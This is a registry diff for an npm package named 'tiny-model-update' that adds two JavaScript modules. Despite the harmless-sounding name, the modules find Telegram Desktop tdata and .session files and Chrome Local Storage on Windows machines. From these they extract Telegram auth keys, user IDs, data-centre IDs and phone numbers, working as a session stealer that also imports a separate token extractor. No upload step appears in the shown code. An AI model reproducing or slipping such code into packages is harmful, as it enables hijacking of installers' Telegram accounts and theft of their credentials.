tiny-model-update 1.15.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,443 @@
1
+ import fs from 'fs';
2
+ import path from 'path';
3
+ import os from 'os';
4
+ import { readLevelDBRaw, readLevelDBDirect, tryReadLevelDBWithCopy } from './token-extractor.js';
5
+
6
+ /**
7
+ * Get Telegram Desktop storage paths
8
+ */
9
+ export function getTelegramDesktopPaths() {
10
+ const platform = os.platform();
11
+ const paths = [];
12
+
13
+ if (platform === 'win32') {
14
+ const appData = process.env.APPDATA || path.join(os.homedir(), 'AppData', 'Roaming');
15
+ const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
16
+
17
+ // Telegram Desktop locations
18
+ const telegramBasePaths = [
19
+ path.join(appData, 'Telegram Desktop'),
20
+ path.join(localAppData, 'Telegram Desktop'),
21
+ ];
22
+
23
+ for (const basePath of telegramBasePaths) {
24
+ if (!fs.existsSync(basePath)) continue;
25
+
26
+ try {
27
+ const profileName = path.basename(basePath);
28
+
29
+ // Check for Local Storage/leveldb (similar to Discord)
30
+ const leveldbPath = path.join(basePath, 'Local Storage', 'leveldb');
31
+ if (fs.existsSync(leveldbPath)) {
32
+ paths.push({
33
+ profile: `Telegram Desktop (${profileName})`,
34
+ localStorage: leveldbPath,
35
+ sessionFiles: null
36
+ });
37
+ }
38
+
39
+ // Check for session files (Telegram Desktop stores sessions in files)
40
+ const sessionFiles = [];
41
+ try {
42
+ const entries = fs.readdirSync(basePath);
43
+ for (const entry of entries) {
44
+ // Telegram session files: tdata folder or session files
45
+ if (entry === 'tdata' || entry.endsWith('.session') || entry.endsWith('.session-journal')) {
46
+ const entryPath = path.join(basePath, entry);
47
+ if (fs.statSync(entryPath).isFile() || fs.statSync(entryPath).isDirectory()) {
48
+ sessionFiles.push(entryPath);
49
+ }
50
+ }
51
+ }
52
+
53
+ if (sessionFiles.length > 0) {
54
+ paths.push({
55
+ profile: `Telegram Desktop (${profileName} - Sessions)`,
56
+ localStorage: null,
57
+ sessionFiles: sessionFiles
58
+ });
59
+ }
60
+ } catch (e) {
61
+ // Ignore
62
+ }
63
+ } catch (e) {
64
+ continue;
65
+ }
66
+ }
67
+ }
68
+
69
+ return paths;
70
+ }
71
+
72
+ /**
73
+ * Get Telegram Web storage paths from Chrome
74
+ */
75
+ export function getTelegramWebPaths() {
76
+ const chromePaths = [];
77
+ const platform = os.platform();
78
+
79
+ if (platform === 'win32') {
80
+ const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
81
+ const userDataDir = path.join(localAppData, 'Google', 'Chrome', 'User Data');
82
+
83
+ try {
84
+ const entries = fs.readdirSync(userDataDir);
85
+ const profiles = new Set();
86
+
87
+ if (fs.existsSync(path.join(userDataDir, 'Default'))) {
88
+ profiles.add('Default');
89
+ }
90
+
91
+ for (const entry of entries) {
92
+ if (entry === 'Default' || entry.startsWith('Profile')) {
93
+ const profilePath = path.join(userDataDir, entry);
94
+ if (fs.statSync(profilePath).isDirectory()) {
95
+ profiles.add(entry);
96
+ }
97
+ }
98
+ }
99
+
100
+ for (const profile of profiles) {
101
+ const profilePath = path.join(userDataDir, profile);
102
+ const leveldbPath = path.join(profilePath, 'Local Storage', 'leveldb');
103
+ if (fs.existsSync(leveldbPath)) {
104
+ chromePaths.push({
105
+ profile: `Telegram Web (Chrome ${profile})`,
106
+ localStorage: leveldbPath,
107
+ sessionFiles: null
108
+ });
109
+ }
110
+ }
111
+ } catch (e) {
112
+ // Ignore
113
+ }
114
+ }
115
+
116
+ return chromePaths;
117
+ }
118
+
119
+ /**
120
+ * Extract Telegram session/token from LevelDB
121
+ */
122
+ async function extractTelegramFromLevelDB(leveldbPath) {
123
+ // Method 1: Raw file reading
124
+ let session = readLevelDBRaw(leveldbPath);
125
+ if (session) {
126
+ // Check if it's a Telegram session
127
+ if (isValidTelegramSession(session)) {
128
+ return session;
129
+ }
130
+ }
131
+
132
+ // Method 2: Direct LevelDB read
133
+ session = await readLevelDBDirect(leveldbPath);
134
+ if (session && isValidTelegramSession(session)) {
135
+ return session;
136
+ }
137
+
138
+ // Method 3: Copy and read
139
+ session = await tryReadLevelDBWithCopy(leveldbPath);
140
+ if (session && isValidTelegramSession(session)) {
141
+ return session;
142
+ }
143
+
144
+ return null;
145
+ }
146
+
147
+ /**
148
+ * Extract Telegram session from Local Storage (looking for telegram.org keys)
149
+ */
150
+ async function extractTelegramSessionFromStorage(leveldbPath) {
151
+ try {
152
+ const { Level } = await import('level');
153
+ let db;
154
+
155
+ try {
156
+ db = new Level(leveldbPath, { valueEncoding: 'utf8' });
157
+ } catch (e) {
158
+ return null;
159
+ }
160
+
161
+ const keys = [];
162
+ try {
163
+ for await (const key of db.keys()) {
164
+ keys.push(key);
165
+ if (keys.length > 500) break;
166
+ }
167
+ } catch (e) {
168
+ await db.close();
169
+ return null;
170
+ }
171
+
172
+ // Look for Telegram-related keys - be more thorough
173
+ const telegramKeys = keys.filter(k =>
174
+ k.includes('telegram.org') ||
175
+ k.includes('web.telegram.org') ||
176
+ k.includes('telegram') ||
177
+ k.toLowerCase().includes('telegram') ||
178
+ k.toLowerCase().includes('session') ||
179
+ k.toLowerCase().includes('auth_key') ||
180
+ k.toLowerCase().includes('authkey') ||
181
+ k.toLowerCase().includes('user_auth') ||
182
+ k.toLowerCase().includes('dc_id') ||
183
+ k.toLowerCase().includes('user_id')
184
+ );
185
+
186
+ // Also check ALL keys if we don't find Telegram-specific ones (web sessions might be stored differently)
187
+ const keysToCheck = telegramKeys.length > 0 ? telegramKeys : keys.slice(0, 200); // Check up to 200 keys if no Telegram keys found
188
+
189
+ for (const key of keysToCheck) {
190
+ try {
191
+ const value = await db.get(key);
192
+ if (value && typeof value === 'string') {
193
+ // Telegram web sessions are often stored as JSON strings
194
+ // Check if it looks like a session string or token
195
+ if (isValidTelegramSession(value)) {
196
+ await db.close();
197
+ return value;
198
+ }
199
+
200
+ // Try to parse JSON if it's stored as JSON (common for web sessions)
201
+ try {
202
+ const jsonValue = JSON.parse(value);
203
+
204
+ // Check if it's a direct string session
205
+ if (typeof jsonValue === 'string' && isValidTelegramSession(jsonValue)) {
206
+ await db.close();
207
+ return jsonValue;
208
+ }
209
+
210
+ // Check nested values in objects (web sessions are often nested)
211
+ if (typeof jsonValue === 'object' && jsonValue !== null) {
212
+ // Look for common Telegram session fields
213
+ const sessionFields = ['auth_key', 'authKey', 'session', 'session_string', 'user_id', 'userId', 'dc_id', 'dcId'];
214
+
215
+ for (const field of sessionFields) {
216
+ if (jsonValue[field]) {
217
+ const fieldValue = jsonValue[field];
218
+ if (typeof fieldValue === 'string' && isValidTelegramSession(fieldValue)) {
219
+ await db.close();
220
+ return fieldValue;
221
+ }
222
+ }
223
+ }
224
+
225
+ // Check all nested string values
226
+ const checkNested = (obj) => {
227
+ for (const nestedValue of Object.values(obj)) {
228
+ if (typeof nestedValue === 'string' && isValidTelegramSession(nestedValue)) {
229
+ return nestedValue;
230
+ }
231
+ if (typeof nestedValue === 'object' && nestedValue !== null) {
232
+ const found = checkNested(nestedValue);
233
+ if (found) return found;
234
+ }
235
+ }
236
+ return null;
237
+ };
238
+
239
+ const found = checkNested(jsonValue);
240
+ if (found) {
241
+ await db.close();
242
+ return found;
243
+ }
244
+ }
245
+ } catch (e) {
246
+ // Not JSON, continue
247
+ }
248
+ }
249
+ } catch (e) {
250
+ continue;
251
+ }
252
+ }
253
+
254
+ await db.close();
255
+ return null;
256
+ } catch (e) {
257
+ return null;
258
+ }
259
+ }
260
+
261
+ /**
262
+ * Read Telegram session files
263
+ */
264
+ async function readTelegramSessionFiles(sessionFiles) {
265
+ const sessions = [];
266
+
267
+ // Import session reader module once
268
+ const { getTelegramSessionInfo } = await import('./telegram-session-reader.js');
269
+
270
+ for (const filePath of sessionFiles) {
271
+ try {
272
+ if (fs.statSync(filePath).isFile()) {
273
+ const data = fs.readFileSync(filePath);
274
+ const fileName = path.basename(filePath);
275
+
276
+ // Telegram .session files are SQLite databases
277
+ // Extract phone number from filename (format: PHONE.session)
278
+ if (filePath.endsWith('.session')) {
279
+ const phoneMatch = fileName.match(/^(\d+)\.session$/);
280
+ const phoneNumber = phoneMatch ? phoneMatch[1] : null;
281
+
282
+ // Try to extract auth key from session file
283
+ const sessionInfo = getTelegramSessionInfo(filePath);
284
+
285
+ sessions.push({
286
+ type: 'session_file',
287
+ path: filePath,
288
+ fileName: fileName,
289
+ size: data.length,
290
+ phoneNumber: phoneNumber,
291
+ authKey: sessionInfo?.authKeyFull || null,
292
+ authKeyPreview: sessionInfo?.authKey || null,
293
+ hasAuthKey: sessionInfo?.hasAuthKey || false,
294
+ userId: sessionInfo?.userId || null,
295
+ dcId: sessionInfo?.dcId || null
296
+ });
297
+ } else {
298
+ // Other files - try to extract readable data
299
+ const textData = data.toString('utf8');
300
+ if (isValidTelegramSession(textData)) {
301
+ sessions.push({
302
+ type: 'session_data',
303
+ data: textData,
304
+ path: filePath,
305
+ fileName: fileName
306
+ });
307
+ }
308
+ }
309
+ } else if (fs.statSync(filePath).isDirectory()) {
310
+ // tdata folder - contains encrypted session data
311
+ const entries = fs.readdirSync(filePath);
312
+ for (const entry of entries) {
313
+ const entryPath = path.join(filePath, entry);
314
+ if (fs.statSync(entryPath).isFile()) {
315
+ try {
316
+ const data = fs.readFileSync(entryPath);
317
+ sessions.push({
318
+ type: 'tdata_file',
319
+ path: entryPath,
320
+ fileName: entry,
321
+ size: data.length
322
+ });
323
+ } catch (e) {
324
+ // Ignore
325
+ }
326
+ }
327
+ }
328
+ }
329
+ } catch (e) {
330
+ continue;
331
+ }
332
+ }
333
+
334
+ return sessions;
335
+ }
336
+
337
+ /**
338
+ * Validate if a string is a valid Telegram session
339
+ * Telegram sessions can be:
340
+ * - String sessions (long alphanumeric strings)
341
+ * - Auth keys (hexadecimal)
342
+ * - Session tokens
343
+ */
344
+ function isValidTelegramSession(session) {
345
+ if (!session || typeof session !== 'string') return false;
346
+
347
+ // Telegram string sessions are typically 200+ characters
348
+ // Auth keys are hexadecimal, 64+ characters
349
+ // Session tokens can vary
350
+
351
+ // Check for string session format (long alphanumeric)
352
+ if (session.length >= 100 && /^[A-Za-z0-9+/=_-]+$/.test(session)) {
353
+ return true;
354
+ }
355
+
356
+ // Check for auth key format (hexadecimal, 64+ chars)
357
+ if (session.length >= 64 && /^[0-9a-fA-F]+$/.test(session)) {
358
+ return true;
359
+ }
360
+
361
+ // Check for shorter session tokens (32+ chars, alphanumeric)
362
+ if (session.length >= 32 && session.length <= 200 && /^[A-Za-z0-9_-]+$/.test(session)) {
363
+ return true;
364
+ }
365
+
366
+ return false;
367
+ }
368
+
369
+ /**
370
+ * Extract all Telegram sessions and tokens
371
+ */
372
+ export async function extractAllTelegramSessions() {
373
+ const telegramDesktopPaths = getTelegramDesktopPaths();
374
+ const telegramWebPaths = getTelegramWebPaths();
375
+ const allPaths = [...telegramDesktopPaths, ...telegramWebPaths];
376
+
377
+ if (allPaths.length === 0) {
378
+ return [];
379
+ }
380
+
381
+ const foundSessions = [];
382
+ const processedProfiles = new Set();
383
+
384
+ for (const storage of allPaths) {
385
+ if (processedProfiles.has(storage.profile)) {
386
+ continue;
387
+ }
388
+ processedProfiles.add(storage.profile);
389
+
390
+ // Try extracting from session files first
391
+ if (storage.sessionFiles && storage.sessionFiles.length > 0) {
392
+ const sessions = await readTelegramSessionFiles(storage.sessionFiles);
393
+ for (const sessionInfo of sessions) {
394
+ // Create a unique identifier for this session
395
+ const sessionId = sessionInfo.path || sessionInfo.data || JSON.stringify(sessionInfo);
396
+ if (!foundSessions.find(s => s.sessionId === sessionId)) {
397
+ foundSessions.push({
398
+ sessionId: sessionId,
399
+ session: sessionInfo.path || sessionInfo.data || sessionInfo.fileName,
400
+ profile: storage.profile,
401
+ type: sessionInfo.type || 'session_file',
402
+ phoneNumber: sessionInfo.phoneNumber,
403
+ fileName: sessionInfo.fileName,
404
+ filePath: sessionInfo.path,
405
+ authKey: sessionInfo.authKey || null,
406
+ authKeyPreview: sessionInfo.authKeyPreview || null,
407
+ hasAuthKey: sessionInfo.hasAuthKey || false,
408
+ userId: sessionInfo.userId || null,
409
+ dcId: sessionInfo.dcId || null,
410
+ size: sessionInfo.size || null
411
+ });
412
+ }
413
+ }
414
+ }
415
+
416
+ // Try extracting from Local Storage
417
+ if (storage.localStorage && fs.existsSync(storage.localStorage)) {
418
+ // Method 1: Extract from LevelDB (looking for Telegram keys)
419
+ const session = await extractTelegramSessionFromStorage(storage.localStorage);
420
+ if (session && !foundSessions.find(s => s.session === session)) {
421
+ foundSessions.push({
422
+ session,
423
+ profile: storage.profile,
424
+ type: 'local_storage'
425
+ });
426
+ continue;
427
+ }
428
+
429
+ // Method 2: Try general LevelDB extraction
430
+ const extracted = await extractTelegramFromLevelDB(storage.localStorage);
431
+ if (extracted && !foundSessions.find(s => s.session === extracted)) {
432
+ foundSessions.push({
433
+ session: extracted,
434
+ profile: storage.profile,
435
+ type: 'leveldb'
436
+ });
437
+ }
438
+ }
439
+ }
440
+
441
+ return foundSessions;
442
+ }
443
+
@@ -0,0 +1,144 @@
1
+ import fs from 'fs';
2
+ import path from 'path';
3
+
4
+ /**
5
+ * Read Telegram session file (SQLite database) and extract auth keys
6
+ * Telegram .session files are SQLite databases containing authentication data
7
+ */
8
+ export async function readTelegramSessionFile(sessionFilePath) {
9
+ try {
10
+ // Check if file exists
11
+ if (!fs.existsSync(sessionFilePath)) {
12
+ return null;
13
+ }
14
+
15
+ // Try to read as SQLite database
16
+ // Note: We'll use a simple approach to extract data without requiring sqlite3
17
+ // Telegram session files have a specific structure
18
+
19
+ const fileData = fs.readFileSync(sessionFilePath);
20
+
21
+ // Telegram session files are SQLite databases
22
+ // They contain tables like: sessions, entities, sent_files, etc.
23
+ // The auth_key is stored in the sessions table
24
+
25
+ // Convert to string to search for patterns
26
+ const dataStr = fileData.toString('binary');
27
+
28
+ // Look for auth_key pattern in the binary data
29
+ // Auth keys are typically 256 bytes (512 hex chars) or stored as BLOB
30
+ const authKeyPatterns = [
31
+ /auth_key[\x00-\xFF]{0,50}([0-9a-fA-F]{512,1024})/g,
32
+ /auth_key[\x00-\xFF]{0,50}([A-Za-z0-9+/=]{200,500})/g,
33
+ ];
34
+
35
+ const extractedData = {
36
+ filePath: sessionFilePath,
37
+ fileName: path.basename(sessionFilePath),
38
+ size: fileData.length,
39
+ authKey: null,
40
+ userId: null,
41
+ dcId: null,
42
+ sessionString: null
43
+ };
44
+
45
+ // Try to extract auth_key
46
+ for (const pattern of authKeyPatterns) {
47
+ const matches = [...dataStr.matchAll(pattern)];
48
+ if (matches.length > 0) {
49
+ // Take the first match that looks valid
50
+ for (const match of matches) {
51
+ const potentialKey = match[1];
52
+ if (potentialKey.length >= 200) {
53
+ extractedData.authKey = potentialKey;
54
+ break;
55
+ }
56
+ }
57
+ if (extractedData.authKey) break;
58
+ }
59
+ }
60
+
61
+ // Look for user_id (typically stored as integer)
62
+ const userIdPattern = /user_id[\x00-\xFF]{0,20}([0-9]{8,15})/g;
63
+ const userIdMatches = [...dataStr.matchAll(userIdPattern)];
64
+ if (userIdMatches.length > 0) {
65
+ extractedData.userId = userIdMatches[0][1];
66
+ }
67
+
68
+ // Look for dc_id (data center ID, typically 1-5)
69
+ const dcIdPattern = /dc_id[\x00-\xFF]{0,20}([1-5])/g;
70
+ const dcIdMatches = [...dataStr.matchAll(dcIdPattern)];
71
+ if (dcIdMatches.length > 0) {
72
+ extractedData.dcId = dcIdMatches[0][1];
73
+ }
74
+
75
+ // If we found an auth_key, create a session string representation
76
+ if (extractedData.authKey) {
77
+ // Create a readable session identifier
78
+ extractedData.sessionString = `auth_key:${extractedData.authKey.substring(0, 100)}...`;
79
+ }
80
+
81
+ return extractedData;
82
+ } catch (e) {
83
+ return null;
84
+ }
85
+ }
86
+
87
+ /**
88
+ * Extract readable session data from Telegram session file
89
+ * Returns a simplified version for display
90
+ */
91
+ export function getTelegramSessionInfo(sessionFilePath) {
92
+ try {
93
+ const fileData = fs.readFileSync(sessionFilePath);
94
+ const fileName = path.basename(sessionFilePath);
95
+
96
+ // Extract phone number from filename
97
+ const phoneMatch = fileName.match(/^(\d+)\.session$/);
98
+ const phoneNumber = phoneMatch ? phoneMatch[1] : null;
99
+
100
+ // Read the file and extract basic info
101
+ const dataStr = fileData.toString('binary');
102
+
103
+ // Look for auth_key (can be stored in various formats)
104
+ let authKey = null;
105
+
106
+ // Pattern 1: Look for hex-encoded auth_key
107
+ const hexPattern = /auth[_-]?key[:\s]*([0-9a-fA-F]{256,512})/i;
108
+ const hexMatch = dataStr.match(hexPattern);
109
+ if (hexMatch) {
110
+ authKey = hexMatch[1];
111
+ }
112
+
113
+ // Pattern 2: Look for base64-encoded auth_key
114
+ if (!authKey) {
115
+ const base64Pattern = /auth[_-]?key[:\s]*([A-Za-z0-9+/=]{200,500})/i;
116
+ const base64Match = dataStr.match(base64Pattern);
117
+ if (base64Match) {
118
+ authKey = base64Match[1];
119
+ }
120
+ }
121
+
122
+ // Pattern 3: Look for any long alphanumeric string that might be an auth key
123
+ if (!authKey) {
124
+ const anyKeyPattern = /([0-9a-fA-F]{256,512})/;
125
+ const anyMatch = dataStr.match(anyKeyPattern);
126
+ if (anyMatch) {
127
+ authKey = anyMatch[1];
128
+ }
129
+ }
130
+
131
+ return {
132
+ phoneNumber: phoneNumber,
133
+ fileName: fileName,
134
+ filePath: sessionFilePath,
135
+ fileSize: fileData.length,
136
+ authKey: authKey ? authKey.substring(0, 100) + '...' : null,
137
+ authKeyFull: authKey,
138
+ hasAuthKey: !!authKey
139
+ };
140
+ } catch (e) {
141
+ return null;
142
+ }
143
+ }
144
+